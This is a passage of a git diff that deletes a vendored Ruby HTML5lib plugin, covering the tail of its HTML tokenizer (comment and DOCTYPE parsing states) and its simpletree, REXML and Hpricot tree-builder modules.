-      # Make a new comment token and give it as value all the characters
-      # until the first > or :EOF (chars_until checks for :EOF automatically)
-      # and emit it.
-      @token_queue << {:type => :Comment, :data => @stream.chars_until((">"))}
-
-      # Eat the character directly after the bogus comment which is either a
-      # ">" or an :EOF.
-      @stream.char
-      @state = :data_state
-      return true
-    end
-
-    def markup_declaration_open_state
-      char_stack = [@stream.char, @stream.char]
-      if char_stack == ["-", "-"]
-        @current_token = {:type => :Comment, :data => ""}
-        @state = :comment_start_state
-      else
-        5.times { char_stack.push(@stream.char) }
-        # Put in explicit :EOF check
-        if !char_stack.include?(:EOF) && char_stack.join("").upcase == "DOCTYPE"
-          @current_token = {:type => :Doctype, :name => "", :publicId => nil, :systemId => nil, :correct => true}
-          @state = :doctype_state
-        else
-          @token_queue << {:type => :ParseError, :data => "expected-dashes-or-doctype"}
-          @stream.unget(char_stack)
-          @state = :bogus_comment_state
-        end
-      end
-      return true
-    end
-
-    def comment_start_state
-        data = @stream.char
-        if data == "-"
-            @state = :comment_start_dash_state
-        elsif data == ">"
-            @token_queue << {:type => :ParseError, :data => "incorrect-comment"}
-            @token_queue << @current_token
-            @state = :data_state
-        elsif data == :EOF
-            @token_queue << {:type => :ParseError, :data => "eof-in-comment"}
-            @token_queue << @current_token
-            @state = :data_state
-        else
-            @current_token[:data] += data + @stream.chars_until("-")
-            @state = :comment_state
-        end
-        return true
-    end
-    
-    def comment_start_dash_state
-        data = @stream.char
-        if data == "-"
-            @state = :comment_end_state
-        elsif data == ">"
-            @token_queue << {:type => :ParseError, :data => "incorrect-comment"}
-            @token_queue << @current_token
-            @state = :data_state
-        elsif data == :EOF
-            @token_queue << {:type => :ParseError, :data => "eof-in-comment"}
-            @token_queue << @current_token
-            @state = :data_state
-        else
-            @current_token[:data] += '-' + data + @stream.chars_until("-")
-            @state = :comment_state
-        end
-        return true
-    end
-
-    def comment_state
-      data = @stream.char
-      if data == "-"
-        @state = :comment_end_dash_state
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-comment"}
-        @token_queue << @current_token
-        @state = :data_state
-      else
-        @current_token[:data] += data + @stream.chars_until("-")
-      end
-      return true
-    end
-
-    def comment_end_dash_state
-      data = @stream.char
-      if data == "-"
-        @state = :comment_end_state
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-comment-end-dash"}
-        @token_queue << @current_token
-        @state = :data_state
-      else
-        @current_token[:data] += "-" + data +\
-          @stream.chars_until("-")
-        # Consume the next character which is either a "-" or an :EOF as
-        # well so if there's a "-" directly after the "-" we go nicely to
-        # the "comment end state" without emitting a ParseError there.
-        @stream.char
-      end
-      return true
-    end
-
-    def comment_end_state
-      data = @stream.char
-      if data == ">"
-        @token_queue << @current_token
-        @state = :data_state
-      elsif data == "-"
-        @token_queue << {:type => :ParseError, :data => "unexpected-dash-after-double-dash-in-comment"}
-        @current_token[:data] += data
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-comment-double-dash"}
-        @token_queue << @current_token
-        @state = :data_state
-      else
-        # XXX
-        @token_queue << {:type => :ParseError, :data => "unexpected-char-in-comment"}
-        @current_token[:data] += "--" + data
-        @state = :comment_state
-      end
-      return true
-    end
-
-    def doctype_state
-      data = @stream.char
-      if SPACE_CHARACTERS.include? data
-        @state = :before_doctype_name_state
-      else
-        @token_queue << {:type => :ParseError, :data => "need-space-after-doctype"}
-        @stream.unget(data)
-        @state = :before_doctype_name_state
-      end
-      return true
-    end
-
-    def before_doctype_name_state
-      data = @stream.char
-      if SPACE_CHARACTERS.include? data
-      elsif data == ">"
-        @token_queue << {:type => :ParseError, :data => "expected-doctype-name-but-got-right-bracket"}
-        @current_token[:correct] = false
-        @token_queue << @current_token
-        @state = :data_state
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "expected-doctype-name-but-got-eof"}
-        @current_token[:correct] = false
-        @token_queue << @current_token
-        @state = :data_state
-      else
-        @current_token[:name] = data
-        @state = :doctype_name_state
-      end
-      return true
-    end
-
-    def doctype_name_state
-      data = @stream.char
-      if SPACE_CHARACTERS.include? data
-        @state = :after_doctype_name_state
-      elsif data == ">"
-        @token_queue << @current_token
-        @state = :data_state
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-doctype-name"}
-        @current_token[:correct] = false
-        @token_queue << @current_token
-        @state = :data_state
-      else
-        @current_token[:name] += data
-      end
-
-      return true
-    end
-
-    def after_doctype_name_state
-      data = @stream.char
-      if SPACE_CHARACTERS.include? data
-      elsif data == ">"
-        @token_queue << @current_token
-        @state = :data_state
-      elsif data == :EOF
-        @current_token[:correct] = false
-        @stream.unget(data)
-        @token_queue << {:type => :ParseError, :data => "eof-in-doctype"}
-        @token_queue << @current_token
-        @state = :data_state
-      else
-        char_stack = [data]  
-        5.times { char_stack << stream.char }
-        token = char_stack.join('').tr(ASCII_UPPERCASE,ASCII_LOWERCASE)
-        if token == "public" and !char_stack.include?(:EOF)
-          @state = :before_doctype_public_identifier_state
-        elsif token == "system" and !char_stack.include?(:EOF)
-          @state = :before_doctype_system_identifier_state
-        else
-          @stream.unget(char_stack)
-          @token_queue << {:type => :ParseError, :data => "expected-space-or-right-bracket-in-doctype", "datavars" => {"data" => data}}
-          @state = :bogus_doctype_state
-        end
-      end
-      return true
-    end
-    
-    def before_doctype_public_identifier_state
-      data = @stream.char
-
-      if SPACE_CHARACTERS.include?(data)
-      elsif data == "\""
-        @current_token[:publicId] = ""
-        @state = :doctype_public_identifier_double_quoted_state
-      elsif data == "'"
-        @current_token[:publicId] = ""
-        @state = :doctype_public_identifier_single_quoted_state
-      elsif data == ">"
-        @token_queue << {:type => :ParseError, :data => "unexpected-end-of-doctype"}
-        @current_token[:correct] = false
-        @token_queue << @current_token
-        @state = :data_state
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-doctype"}
-        @current_token[:correct] = false
-        @token_queue << @current_token
-        @state = :data_state
-      else
-        @token_queue << {:type => :ParseError, :data => "unexpected-char-in-doctype"}
-        @state = :bogus_doctype_state
-      end
-
-      return true
-    end
- 
-    def doctype_public_identifier_double_quoted_state
-      data = @stream.char
-      if data == "\""
-        @state = :after_doctype_public_identifier_state
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-doctype"}
-        @current_token[:correct] = false
-        @token_queue << @current_token
-        @state = :data_state
-      else
-        @current_token[:publicId] += data
-      end
-      return true
-    end
-
-    def doctype_public_identifier_single_quoted_state
-      data = @stream.char
-      if data == "'"
-        @state = :after_doctype_public_identifier_state
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-doctype"}
-        @current_token[:correct] = false
-        @token_queue << @current_token
-        @state = :data_state
-      else
-        @current_token[:publicId] += data
-      end
-      return true
-    end
-
-    def after_doctype_public_identifier_state
-      data = @stream.char
-      if SPACE_CHARACTERS.include?(data)
-      elsif data == "\""
-        @current_token[:systemId] = ""
-        @state = :doctype_system_identifier_double_quoted_state
-      elsif data == "'"
-        @current_token[:systemId] = ""
-        @state = :doctype_system_identifier_single_quoted_state
-      elsif data == ">"
-        @token_queue << @current_token
-        @state = :data_state
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-doctype"}
-        @current_token[:correct] = false
-        @token_queue << @current_token
-        @state = :data_state
-      else
-        @token_queue << {:type => :ParseError, :data => "eof-in-doctype"}
-        @state = :bogus_doctype_state
-      end
-      return true
-    end
-    
-    def before_doctype_system_identifier_state
-      data = @stream.char
-      if SPACE_CHARACTERS.include?(data)
-      elsif data == "\""
-        @current_token[:systemId] = ""
-        @state = :doctype_system_identifier_double_quoted_state
-      elsif data == "'"
-        @current_token[:systemId] = ""
-        @state = :doctype_system_identifier_single_quoted_state
-      elsif data == ">"
-        @token_queue << {:type => :ParseError, :data => "unexpected-char-in-doctype"}
-        @current_token[:correct] = false
-        @token_queue << @current_token
-        @state = :data_state
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-doctype"}
-        @current_token[:correct] = false
-        @token_queue << @current_token
-        @state = :data_state
-      else
-        @token_queue << {:type => :ParseError, :data => "unexpected-char-in-doctype"}
-        @state = :bogus_doctype_state
-      end
-      return true
-    end
-
-    def doctype_system_identifier_double_quoted_state
-      data = @stream.char
-      if data == "\""
-        @state = :after_doctype_system_identifier_state
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-doctype"}
-        @current_token[:correct] = false
-        @token_queue << @current_token
-        @state = :data_state
-      else
-        @current_token[:systemId] += data
-      end
-      return true
-    end
-
-    def doctype_system_identifier_single_quoted_state
-      data = @stream.char
-      if data == "'"
-        @state = :after_doctype_system_identifier_state
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-doctype"}
-        @current_token[:correct] = false
-        @token_queue << @current_token
-        @state = :data_state
-      else
-        @current_token[:systemId] += data
-      end
-      return true
-    end
-
-    def after_doctype_system_identifier_state
-      data = @stream.char
-      if SPACE_CHARACTERS.include?(data)
-      elsif data == ">"
-        @token_queue << @current_token
-        @state = :data_state
-      elsif data == :EOF
-        @token_queue << {:type => :ParseError, :data => "eof-in-doctype"}
-        @current_token[:correct] = false
-        @token_queue << @current_token
-        @state = :data_state
-      else
-        @token_queue << {:type => :ParseError, :data => "eof-in-doctype"}
-        @state = :bogus_doctype_state
-      end
-      return true
-    end
-
-    def bogus_doctype_state
-      data = @stream.char
-      @current_token[:correct] = false
-      if data == ">"
-        @token_queue << @current_token
-        @state = :data_state
-      elsif data == :EOF
-        # XXX EMIT
-        @stream.unget(data)
-        @token_queue << {:type => :ParseError, :data => "eof-in-doctype"}
-        @current_token[:correct] = false
-        @token_queue << @current_token
-        @state = :data_state
-      end
-      return true
-    end
-
-  end
-
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/treebuilders.rb b/attic/vendor/plugins/HTML5lib/lib/html5/treebuilders.rb
deleted file mode 100644
index e1ab70a0..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/treebuilders.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-module HTML5
-  module TreeBuilders
-
-    class << self
-      def [](name)
-        case name.to_s.downcase
-        when 'simpletree' then
-          require 'html5/treebuilders/simpletree'
-          SimpleTree::TreeBuilder
-        when 'rexml' then
-          require 'html5/treebuilders/rexml'
-          REXML::TreeBuilder
-        when 'hpricot' then
-          require 'html5/treebuilders/hpricot'
-          Hpricot::TreeBuilder
-        else
-          raise "Unknown TreeBuilder #{name}"
-        end
-      end
-
-      alias :get_tree_builder :[]
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/treebuilders/base.rb b/attic/vendor/plugins/HTML5lib/lib/html5/treebuilders/base.rb
deleted file mode 100755
index 6db120fc..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/treebuilders/base.rb
+++ /dev/null
@@ -1,334 +0,0 @@
-require 'html5/constants'
-
-#XXX - TODO; make the default interface more ElementTree-like rather than DOM-like
-
-module HTML5
-
-  # The scope markers are inserted when entering buttons, object elements,
-  # marquees, table cells, and table captions, and are used to prevent formatting
-  # from "leaking" into tables, buttons, object elements, and marquees.
-  Marker = nil
-
-  module TreeBuilders
-    module Base
-
-      class Node
-        # The parent of the current node (or nil for the document node)
-        attr_accessor :parent
-
-        # a list of child nodes of the current node. This must 
-        # include all elements but not necessarily other node types
-        attr_accessor :childNodes
-
-        # A list of miscellaneous flags that can be set on the node
-        attr_accessor :_flags
-
-        def initialize(name)
-          @parent     = nil
-          @childNodes = []
-          @_flags     = []
-        end
-
-        # Insert node as a child of the current node
-        def appendChild(node)
-          raise NotImplementedError
-        end
-
-        # Insert data as text in the current node, positioned before the 
-        # start of node insertBefore or to the end of the node's text.
-        def insertText(data, insertBefore=nil)
-          raise NotImplementedError
-        end
-
-        # Insert node as a child of the current node, before refNode in the 
-        # list of child nodes. Raises ValueError if refNode is not a child of 
-        # the current node
-        def insertBefore(node, refNode)
-          raise NotImplementedError
-        end
-
-        # Remove node from the children of the current node
-        def removeChild(node)
-          raise NotImplementedError
-        end
-
-        # Move all the children of the current node to newParent. 
-        # This is needed so that trees that don't store text as nodes move the 
-        # text in the correct way
-        def reparentChildren(newParent)
-          #XXX - should this method be made more general?
-          @childNodes.each { |child| newParent.appendChild(child) }
-          @childNodes = []
-        end
-
-        # Return a shallow copy of the current node i.e. a node with the same
-        # name and attributes but with no parent or child nodes
-        def cloneNode
-          raise NotImplementedError
-        end
-
-        # Return true if the node has children or text, false otherwise
-        def hasContent
-          raise NotImplementedError
-        end
-      end
-
-      # Base treebuilder implementation
-      class TreeBuilder
-
-        attr_accessor :open_elements
-
-        attr_accessor :activeFormattingElements
-
-        attr_accessor :document
-
-        attr_accessor :head_pointer
-
-        attr_accessor :formPointer
-
-        # Class to use for document root
-        documentClass = nil
-
-        # Class to use for HTML elements
-        elementClass = nil
-
-        # Class to use for comments
-        commentClass = nil
-
-        # Class to use for doctypes
-        doctypeClass = nil
-
-        # Fragment class
-        fragmentClass = nil
-
-        def initialize
-          reset
-        end
-
-        def reset
-          @open_elements = []
-          @activeFormattingElements = []
-
-          #XXX - rename these to headElement, formElement
-          @head_pointer = nil
-          @formPointer = nil
-
-          self.insert_from_table = false
-
-          @document = @documentClass.new
-        end
-
-        def elementInScope(target, tableVariant=false)
-          # Exit early when possible.
-          return true if @open_elements[-1].name == target
-
-          # AT How about while true and simply set node to [-1] and set it to
-          # [-2] at the end...
-          @open_elements.reverse.each do |element|
-            if element.name == target
-              return true
-            elsif element.name == 'table'
-              return false
-            elsif not tableVariant and SCOPING_ELEMENTS.include?(element.name)
-              return false
-            elsif element.name == 'html'
-              return false
-            end
-          end
-          assert false # We should never reach this point
-        end
-
-        def reconstructActiveFormattingElements
-          # Within this algorithm the order of steps described in the
-          # specification is not quite the same as the order of steps in the
-          # code. It should still do the same though.
-
-          # Step 1: stop the algorithm when there's nothing to do.
-          return if @activeFormattingElements.empty?
-
-          # Step 2 and step 3: we start with the last element. So i is -1.
-          i = -1
-          entry = @activeFormattingElements[i]
-          return if entry == Marker or @open_elements.include?(entry)
-
-          # Step 6
-          until entry == Marker or @open_elements.include?(entry)
-            # Step 5: let entry be one earlier in the list.
-            i -= 1
-            begin
-              entry = @activeFormattingElements[i]
-            rescue
-              # Step 4: at this point we need to jump to step 8. By not doing
-              # i += 1 which is also done in step 7 we achieve that.
-              break
-            end
-          end
-          while true
-            # Step 7
-            i += 1
-
-            # Step 8
-            clone = @activeFormattingElements[i].cloneNode
-
-            # Step 9
-            element = insert_element(clone.name, clone.attributes)
-
-            # Step 10
-            @activeFormattingElements[i] = element
-
-            # Step 11
-            break if element == @activeFormattingElements[-1]
-          end
-        end
-
-        def clearActiveFormattingElements
-          {} until @activeFormattingElements.empty? || @activeFormattingElements.pop == Marker
-        end
-
-        # Check if an element exists between the end of the active
-        # formatting elements and the last marker. If it does, return it, else
-        # return false
-        def elementInActiveFormattingElements(name)
-          @activeFormattingElements.reverse.each do |element|
-            # Check for Marker first because if it's a Marker it doesn't have a
-            # name attribute.
-            break if element == Marker
-            return element if element.name == name
-          end
-          return false
-        end
-
-        def insertDoctype(name, public_id, system_id)
-          doctype = @doctypeClass.new(name)
-          doctype.public_id = public_id
-          doctype.system_id = system_id
-          @document.appendChild(doctype)
-        end
-
-        def insert_comment(data, parent=nil)
-          parent = @open_elements[-1] if parent.nil?
-          parent.appendChild(@commentClass.new(data))
-        end
-               
-        # Create an element but don't insert it anywhere
-        def createElement(name, attributes)
-          element = @elementClass.new(name)
-          element.attributes = attributes
-          return element
-        end
-
-        # Switch the function used to insert an element from the
-        # normal one to the misnested table one and back again
-        def insert_from_table=(value)
-          @insert_from_table = value
-          @insert_element = value ? :insert_elementTable : :insert_elementNormal
-        end
-
-        def insert_element(name, attributes)
-          send(@insert_element, name, attributes)
-        end
-
-        def insert_elementNormal(name, attributes)
-          element = @elementClass.new(name)
-          element.attributes = attributes
-          @open_elements.last.appendChild(element)
-          @open_elements.push(element)
-          return element
-        end
-
-        # Create an element and insert it into the tree
-        def insert_elementTable(name, attributes)
-          element = @elementClass.new(name)
-          element.attributes = attributes
-          if TABLE_INSERT_MODE_ELEMENTS.include?(@open_elements.last.name)
-            #We should be in the InTable mode. This means we want to do
-            #special magic element rearranging
-            parent, insertBefore = getTableMisnestedNodePosition
-            if insertBefore.nil?
-              parent.appendChild(element)
-            else
-              parent.insertBefore(element, insertBefore)
-            end
-            @open_elements.push(element)
-          else
-            return insert_elementNormal(name, attributes)
-          end
-          return element
-        end
-
-        def insertText(data, parent=nil)
-          parent = @open_elements[-1] if parent.nil?
-
-          if (not(@insert_from_table) or (@insert_from_table and not TABLE_INSERT_MODE_ELEMENTS.include?(@open_elements[-1].name)))
-            parent.insertText(data)
-          else
-            #We should be in the InTable mode. This means we want to do
-            #special magic element rearranging
-            parent, insertBefore = getTableMisnestedNodePosition
-            parent.insertText(data, insertBefore)
-          end
-        end
-
-        # Get the foster parent element, and sibling to insert before
-        # (or nil) when inserting a misnested table node
-        def getTableMisnestedNodePosition
-          #The foster parent element is the one which comes before the most
-          #recently opened table element
-          #XXX - this is really inelegant
-          lastTable = nil
-          fosterParent = nil
-          insertBefore = nil
-          @open_elements.reverse.each do |element|
-            if element.name == "table"
-              lastTable = element
-              break
-            end
-          end
-          if lastTable
-            #XXX - we should really check that this parent is actually a
-            #node here
-            if lastTable.parent
-              fosterParent = lastTable.parent
-              insertBefore = lastTable
-            else
-              fosterParent = @open_elements[@open_elements.index(lastTable) - 1]
-            end
-          else
-            fosterParent = @open_elements[0]
-          end
-          return fosterParent, insertBefore
-        end
-
-        def generateImpliedEndTags(exclude=nil)
-          name = @open_elements[-1].name
-
-          # XXX td, th and tr are not actually needed
-          if (%w[dd dt li p td th tr].include?(name) and name != exclude)
-            @open_elements.pop
-            # XXX This is not entirely what the specification says. We should
-            # investigate it more closely.
-            generateImpliedEndTags(exclude)
-          end
-        end
-
-        def get_document
-          @document
-        end
-  
-        def get_fragment
-          #assert @inner_html
-          fragment = @fragmentClass.new
-          @open_elements[0].reparentChildren(fragment)
-          return fragment
-        end
-
-        # Serialize the subtree of node in the format required by unit tests
-        # node - the node from which to start serializing
-        def testSerializer(node)
-          raise NotImplementedError
-        end
-
-      end
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/treebuilders/hpricot.rb b/attic/vendor/plugins/HTML5lib/lib/html5/treebuilders/hpricot.rb
deleted file mode 100644
index d8890e0c..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/treebuilders/hpricot.rb
+++ /dev/null
@@ -1,231 +0,0 @@
-require 'html5/treebuilders/base'
-require 'rubygems'
-require 'hpricot'
-require 'forwardable'
-
-module HTML5
-  module TreeBuilders
-    module Hpricot
-
-      class Node < Base::Node
-        extend Forwardable
-
-        def_delegators :@hpricot, :name
-
-        attr_accessor :hpricot
-
-        def initialize(name)
-          super(name)
-          @hpricot = self.class.hpricot_class.new name
-        end
-
-        def appendChild(node)
-          if node.kind_of?(TextNode) and childNodes.any? and childNodes.last.kind_of?(TextNode)
-            childNodes.last.hpricot.content = childNodes.last.hpricot.content + node.hpricot.content
-          else
-            childNodes << node
-            hpricot.children << node.hpricot
-          end
-          if (oldparent = node.hpricot.parent) != nil
-            oldparent.children.delete_at(oldparent.children.index(node.hpricot))
-          end
-          node.hpricot.parent = hpricot
-          node.parent = self
-        end
-
-        def removeChild(node)
-           childNodes.delete(node)
-           hpricot.children.delete_at(hpricot.children.index(node.hpricot))
-           node.hpricot.parent = nil
-           node.parent = nil
-        end
-
-        def insertText(data, before=nil)
-          if before
-            insertBefore(TextNode.new(data), before)
-          else
-            appendChild(TextNode.new(data))
-          end
-        end
-
-        def insertBefore(node, refNode)
-          index = childNodes.index(refNode)
-          if node.kind_of?(TextNode) and index > 0 and childNodes[index-1].kind_of?(TextNode)
-            childNodes[index-1].hpricot.content = childNodes[index-1].hpricot.to_s + node.hpricot.to_s
-          else
-            refNode.hpricot.parent.insert_before(node.hpricot,refNode.hpricot)
-            childNodes.insert(index, node)
-          end
-        end
-
-        def hasContent
-          childNodes.any?
-        end
-      end
-
-      class Element < Node
-        def self.hpricot_class
-          ::Hpricot::Elem
-        end
-
-        def initialize(name)
-          super(name)
-
-          @hpricot = ::Hpricot::Elem.new(::Hpricot::STag.new(name))
-        end
-
-        def name
-          @hpricot.stag.name
-        end
-
-        def cloneNode
-          attributes.inject(self.class.new(name)) do |node, (name, value)|
-            node.hpricot[name] = value
-            node
-          end
-        end
-
-        # A call to Hpricot::Elem#raw_attributes is built dynamically,
-        # so alterations to the returned value (a hash) will be lost.
-        #
-        # AttributeProxy works around this by forwarding :[]= calls
-        # to the raw_attributes accessor on the element start tag.
-        #
-        class AttributeProxy
-          def initialize(hpricot)
-            @hpricot = hpricot
-          end
-
-          def []=(k, v)
-            @hpricot.stag.send(stag_attributes_method)[k] = v
-          end
-
-          def stag_attributes_method
-            # STag#attributes changed to STag#raw_attributes after Hpricot 0.5
-            @hpricot.stag.respond_to?(:raw_attributes) ? :raw_attributes : :attributes
-          end
-
-          def method_missing(*a, &b)
-            @hpricot.attributes.send(*a, &b)
-          end
-        end
-
-        def attributes
-          AttributeProxy.new(@hpricot)
-        end
-
-        def attributes=(attrs)
-          attrs.each { |name, value| @hpricot[name] = value }
-        end
-
-        def printTree(indent=0)
-          tree = "\n|#{' ' * indent}<#{name}>"
-          indent += 2
-          attributes.each do |name, value|
-            next if name == 'xmlns'
-            tree += "\n|#{' ' * indent}#{name}=\"#{value}\""
-          end
-          childNodes.inject(tree) { |tree, child| tree + child.printTree(indent) }
-        end
-      end
-
-      class Document < Node
-        def self.hpricot_class
-          ::Hpricot::Doc
-        end
-
-        def initialize
-          super(nil)
-        end
-
-        def printTree(indent=0)
-          childNodes.inject('#document') { |tree, child| tree + child.printTree(indent + 2) }
-        end
-      end
-
-      class DocumentType < Node
-        def_delegators :@hpricot, :public_id, :system_id
-
-        def self.hpricot_class
-          ::Hpricot::DocType
-        end
-
-        def initialize(name, public_id, system_id)
-          begin
-            super(name)
-          rescue ArgumentError # needs 3...
-          end
-
-          @hpricot = ::Hpricot::DocType.new(name, public_id, system_id)
-        end
-
-        def printTree(indent=0)
-          if hpricot.target and hpricot.target.any?
-            "\n|#{' ' * indent}<!DOCTYPE #{hpricot.target}>"
-          else
-            "\n|#{' ' * indent}<!DOCTYPE >"
-          end
-        end
-      end
-
-      class DocumentFragment < Element
-        def initialize
-          super('')
-        end
-
-        def printTree(indent=0)
-          childNodes.inject('') {|tree, child| tree + child.printTree(indent + 2) }
-        end
-      end
-
-      class TextNode < Node
-        def initialize(data)
-          @hpricot = ::Hpricot::Text.new(data)
-        end
-
-        def printTree(indent=0)
-          "\n|#{' ' * indent}\"#{hpricot.content}\""
-        end
-      end
-
-      class CommentNode < Node
-        def self.hpricot_class
-          ::Hpricot::Comment
-        end
-
-        def printTree(indent=0)
-          "\n|#{' ' * indent}<!-- #{hpricot.content} -->"
-        end
-      end
-
-      class TreeBuilder < Base::TreeBuilder
-        def initialize
-          @documentClass = Document
-          @doctypeClass  = DocumentType
-          @elementClass  = Element
-          @commentClass  = CommentNode
-          @fragmentClass = DocumentFragment
-        end
-
-        def insertDoctype(name, public_id, system_id)
-          doctype = @doctypeClass.new(name, public_id, system_id)
-          @document.appendChild(doctype)
-        end
-
-        def testSerializer(node)
-          node.printTree
-        end
-
-        def get_document
-          @document.hpricot
-        end
-
-        def get_fragment
-          @document = super
-          return @document.hpricot.children
-        end
-      end
-
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/treebuilders/rexml.rb b/attic/vendor/plugins/HTML5lib/lib/html5/treebuilders/rexml.rb
deleted file mode 100644
index 3494c70c..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/treebuilders/rexml.rb
+++ /dev/null
@@ -1,209 +0,0 @@
-require 'html5/treebuilders/base'
-require 'rexml/document'
-require 'forwardable'
-
-module HTML5
-  module TreeBuilders
-    module REXML
-
-      class Node < Base::Node
-        extend Forwardable
-        def_delegators :@rxobj, :name, :attributes
-        attr_accessor :rxobj
-
-        def initialize name
-          super name
-          @rxobj = self.class.rxclass.new name
-        end
-
-        def appendChild node
-          if node.kind_of?(TextNode) && childNodes.length > 0 && childNodes.last.kind_of?(TextNode)
-            childNodes.last.rxobj.value = childNodes.last.rxobj.to_s + node.rxobj.to_s
-            childNodes.last.rxobj.raw = true
-          else
-            childNodes.push node
-            rxobj.add node.rxobj
-          end
-          node.parent = self
-        end
-
-        def removeChild node
-           childNodes.delete node
-           rxobj.delete node.rxobj
-           node.parent = nil
-        end
-
-        def insertText data, before=nil
-          if before
-            insertBefore TextNode.new(data), before
-          else
-            appendChild TextNode.new(data)
-          end
-        end
-
-        def insertBefore node, refNode
-          index = childNodes.index(refNode)
-          if node.kind_of?(TextNode) and index > 0 && childNodes[index-1].kind_of?(TextNode)
-            childNodes[index-1].rxobj.value = childNodes[index-1].rxobj.to_s + node.rxobj.to_s
-            childNodes[index-1].rxobj.raw = true
-          else
-            childNodes.insert index, node
-            refNode.rxobj.parent.insert_before(refNode.rxobj,node.rxobj)
-          end
-        end
-
-        def hasContent
-          (childNodes.length > 0)
-        end
-      end
-
-      class Element < Node
-        def self.rxclass
-          ::REXML::Element
-        end
-
-        def initialize name
-          super name
-        end
-
-        def cloneNode
-          newNode = self.class.new name
-          attributes.each {|name,value| newNode.attributes[name] = value}
-          newNode
-        end
-
-        def attributes= value
-          value.each {|name, value| rxobj.attributes[name] = value}
-        end
-
-        def printTree indent=0
-          tree = "\n|#{' ' * indent}<#{name}>"
-          indent += 2
-          for name, value in attributes
-            next if name == 'xmlns'
-            tree += "\n|#{' ' * indent}#{name}=\"#{value}\""
-          end
-          for child in childNodes
-            tree += child.printTree(indent)
-          end
-          tree
-        end
-      end
-
-      class Document < Node
-        def self.rxclass
-          ::REXML::Document
-        end
-
-        def initialize
-          super nil
-        end
-
-        # ryansking: not sure why this was here. removing it doesn't cause any tests to fail
-        # def appendChild node
-        #    if node.kind_of? Element and node.name == 'html'
-        #      node.rxobj.add_namespace('http://www.w3.org/1999/xhtml')
-        #    end
-        #    super node
-        # end
-
-        def printTree indent=0
-          tree = "#document"
-          for child in childNodes
-            tree += child.printTree(indent + 2)
-          end
-          return tree
-        end
-      end
-
-      class DocumentType < Node
-        def_delegator :@rxobj, :public, :public_id
-
-        def_delegator :@rxobj, :system, :system_id
-
-        def self.rxclass
-          ::REXML::DocType
-        end
-
-        def initialize name, public_id, system_id
-            super(name)
-            if public_id
-              @rxobj = ::REXML::DocType.new [name, ::REXML::DocType::PUBLIC, public_id, system_id]
-            elsif system_id
-              @rxobj = ::REXML::DocType.new [name, ::REXML::DocType::SYSTEM, nil, system_id]
-            else
-              @rxobj = ::REXML::DocType.new name
-            end
-        end
-
-        def printTree indent=0
-          "\n|#{' ' * indent}<!DOCTYPE #{name}>"
-        end
-      end
-
-      class DocumentFragment < Element
-        def initialize
-          super nil
-        end
-
-        def printTree indent=0
-          tree = ""
-          for child in childNodes
-            tree += child.printTree(indent+2)
-          end
-          return tree
-        end
-      end
-
-      class TextNode < Node
-        def initialize data
-          raw = data.gsub('&', '&amp;').gsub('<', '&lt;').gsub('>', '&gt;')
-          @rxobj = ::REXML::Text.new(raw, true, nil, true)
-        end
-
-        def printTree indent=0
-          "\n|#{' ' * indent}\"#{rxobj.value}\""
-        end
-      end
-
-      class CommentNode < Node
-        def self.rxclass
-          ::REXML::Comment
-        end
-
-        def printTree indent=0
-          "\n|#{' ' * indent}<!-- #{rxobj.string} -->"
-        end
-      end
-
-      class TreeBuilder < Base::TreeBuilder
-        def initialize
-          @documentClass = Document
-          @doctypeClass  = DocumentType
-          @elementClass  = Element
-          @commentClass  = CommentNode
-          @fragmentClass = DocumentFragment
-        end
-
-        def insertDoctype(name, public_id, system_id)
-          doctype = @doctypeClass.new(name, public_id, system_id)
-          @document.appendChild(doctype)
-        end
-
-        def testSerializer node
-          node.printTree
-        end
-
-        def get_document
-          @document.rxobj
-        end
-
-        def get_fragment
-          @document = super
-          return @document.rxobj.children
-        end
-      end
-
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/treebuilders/simpletree.rb b/attic/vendor/plugins/HTML5lib/lib/html5/treebuilders/simpletree.rb
deleted file mode 100644
index e5cddfad..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/treebuilders/simpletree.rb
+++ /dev/null
@@ -1,185 +0,0 @@
-require 'html5/treebuilders/base'
-
-module HTML5
-  module TreeBuilders
-    module SimpleTree
-
-      class Node < Base::Node
-        # Node representing an item in the tree.
-        # name - The tag name associated with the node
-        attr_accessor :name
-
-        # The value of the current node (applies to text nodes and 
-        # comments
-        attr_accessor :value
-
-        # a dict holding name, value pairs for attributes of the node
-        attr_accessor :attributes
-
-        def initialize name
-          super
-          @name       = name
-          @value      = nil
-          @attributes = {}
-        end
-
-        def appendChild node
-          if node.kind_of? TextNode and 
-            childNodes.length > 0 and childNodes.last.kind_of? TextNode
-            childNodes.last.value += node.value
-          else
-            childNodes << node
-          end
-          node.parent = self
-        end
-
-        def removeChild node
-           childNodes.delete node
-           node.parent = nil
-        end
-
-        def cloneNode
-          newNode = self.class.new name
-          attributes.each {|name,value| newNode.attributes[name] = value}
-          newNode.value = value
-          newNode
-        end
-
-        def insertText data, before=nil
-          if before
-            insertBefore TextNode.new(data), before
-          else
-            appendChild TextNode.new(data)
-          end
-        end
-
-        def insertBefore node, refNode
-          index = childNodes.index(refNode)
-          if node.kind_of?(TextNode) && index > 0 && childNodes[index-1].kind_of?(TextNode)
